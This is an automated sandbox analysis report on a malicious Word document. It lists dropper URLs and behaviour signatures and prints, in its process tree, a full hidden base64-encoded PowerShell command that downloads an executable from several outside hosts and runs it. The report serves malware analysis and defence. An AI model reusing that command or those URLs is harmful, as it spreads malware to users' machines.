Analysis
-
max time kernel
30s -
resource
win10v191014 -
submitted
28-01-2020 01:10
Task
task1
Sample
7267e69d8ba19b7567f782a3f01d78162aed8b2de72e05608c7215551009f851.doc
Resource
win10v191014
0 signatures
General
-
Target
7267e69d8ba19b7567f782a3f01d78162aed8b2de72e05608c7215551009f851.doc
-
Sample
200128-waegvegwfj
-
SHA256
7267e69d8ba19b7567f782a3f01d78162aed8b2de72e05608c7215551009f851
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
https://fietsenmetkinderen.info/App_Data/ASHFouI/
exe.dropper
https://rokonworld.xyz/cgi-bin/bf99ypv-nka70qs-62/
exe.dropper
http://www.meubelontwerpstudioheyne.nl/languages/ndZNarqnj/
exe.dropper
http://bursary.engsoc.queensu.ca/wp-admin/48ech-ddpjkzp-29821620/
exe.dropper
http://lapmangfpt.haiphong.vn/wp-admin/k50i2cm5qi-9wnfau-7879373385/
Signatures
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
Powershell.exepid process 4672 Powershell.exe -
Suspicious use of WriteProcessMemory 1 IoCs
Processes:
Powershell.exedescription pid process target process PID 4672 wrote to memory of 4688 4672 Powershell.exe 491.exe -
Executes dropped EXE 1 IoCs
Processes:
491.exepid process 4688 491.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4984 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4672 2824 Powershell.exe -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
WINWORD.EXEpid process 4984 WINWORD.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
Powershell.exedescription pid process Token: SeDebugPrivilege 4672 Powershell.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7267e69d8ba19b7567f782a3f01d78162aed8b2de72e05608c7215551009f851.doc" /o ""1⤵
- Checks processor information in registry
- Suspicious behavior: AddClipboardFormatListener
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
PID:4984
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABOAGcAZgBwAGwAaAB1AGcAcwA9ACcAWABlAGoAawBhAGIAbwBoACcAOwAkAE8AbABpAGUAcwBjAGEAZgBzAG0AIAA9ACAAJwA0ADkAMQAnADsAJABKAHUAZAB6AGIAdABpAGsAPQAnAFcAcgBjAG0AZABvAHgAcgB1AGsAJwA7ACQATAB2AGoAeABwAHMAaQBlAGkAeQBvAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABPAGwAaQBlAHMAYwBhAGYAcwBtACsAJwAuAGUAeABlACcAOwAkAEcAawB6AGoAcgB6AGQAZABmAGEAdwBqAD0AJwBNAGwAZgBiAHkAaAB6AHUAYQBuACcAOwAkAE0AcQBzAG8AZwBjAGQAawBiAHEAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAYwBsAGkARQBuAHQAOwAkAE8AagBlAGEAZwBiAHkAYwBqAGcAeAA9ACcAaAB0AHQAcABzADoALwAvAGYAaQBlAHQAcwBlAG4AbQBlAHQAawBpAG4AZABlAHIAZQBuAC4AaQBuAGYAbwAvAEEAcABwAF8ARABhAHQAYQAvAEEAUwBIAEYAbwB1AEkALwAqAGgAdAB0AHAAcwA6AC8ALwByAG8AawBvAG4AdwBvAHIAbABkAC4AeAB5AHoALwBjAGcAaQAtAGIAaQBuAC8AYgBmADkAOQB5AHAAdgAtAG4AawBhADcAMABxAHMALQA2ADIALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAGUAdQBiAGUAbABvAG4AdAB3AGUAcgBwAHMAdAB1AGQAaQBvAGgAZQB5AG4AZQAuAG4AbAAvAGwAYQBuAGcAdQBhAGcAZQBzAC8AbgBkAFoATgBhAHIAcQBuAGoALwAqAGgAdAB0AHAAOgAvAC8AYgB1AHIAcwBhAHIAeQAuAGUAbgBnAHMAbwBjAC4AcQB1AGUAZQBuAHMAdQAuAGMAYQAvAHcAcAAtAGEAZABtAGkAbgAvADQAOABlAGMAaAAtAGQAZABwAGoAawB6AHAALQAyADkAOAAyADEANgAyADAALwAqAGgAdAB0AHAAOgAvAC8AbABhAHAAbQBhAG4AZwBmAHAAdAAuAGgAYQBpAHAAaABvAG4AZwAuAHYAbgAvAHcAcAAtAGEAZABtAGkAbgAvAGsANQAwAGkAMgBjAG0ANQBxAGkALQA5AHcAbgBmAGEAdQAtADcAOAA3ADkAMwA3ADMAMwA4ADUALwAnAC4AIgBzAFAATABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFgAbQByAHAAcwB5AG0AbwBuAHMAYQBzAGIAPQAnAFAAZAB3AHYAdABwAHMAYwBsACcAOwBmAG8AcgBlAGEAYwBoACgAJABCAG8AeABmAGwAZQB1AHYAIABpAG4AIAAkAE8AagBlAGEAZwBiAHkAYwBqAGcAeAApAHsAdAByAHkAewAkAE0AcQBzAG8AZwBjAGQAawBiAHEALgAiAEQAYABvAGAAdwBuAGwAYABPAEEARABmAEkATABlACIAKAAkAEIAbwB4AGYAbABlAHUAdgAsACAAJABMAHYAagB4AHAAcwBpAGUAaQB5AG8AKQA7ACQATQBqAHYAbQBrAG0AZAB0AGMAcQBtAHEAPQAnAFcAaQB4AHQAbABuAHoAcABiAGoAcQBlAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABMAHYAagB4AHAAcwBpAGUAaQB5AG8AKQAuACIATABgAEUATgBgAGcAdABIACIAIAAtAGcAZQAgADMAMAAyADkANwApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABhAFIAdAAiACgAJABMAHYAagB4AHAAcwBpAGUAaQB5AG8AKQA7ACQASwBmAGMAYQBtAGMAcwBiAD0AJwBPAGkAZwBxAGQAbgBvAHgAdwBnAHYAJwA7AGIAcgBlAGEAawA7ACQAWgBzAHcAaQBsAHYAZgB1AD0AJwBYAGcAZwBuAGgAawB1AHAAdgBsACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFIAagBrAGYAZABwAHUAcQBjAGkAYgBmAGQAPQAnAFQAZwBnAGMAdAB6AHkAaQBqAHgAYQAnAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:4672 -
C:\Users\Admin\491.exe"C:\Users\Admin\491.exe"2⤵
- Executes dropped EXE
PID:4688
-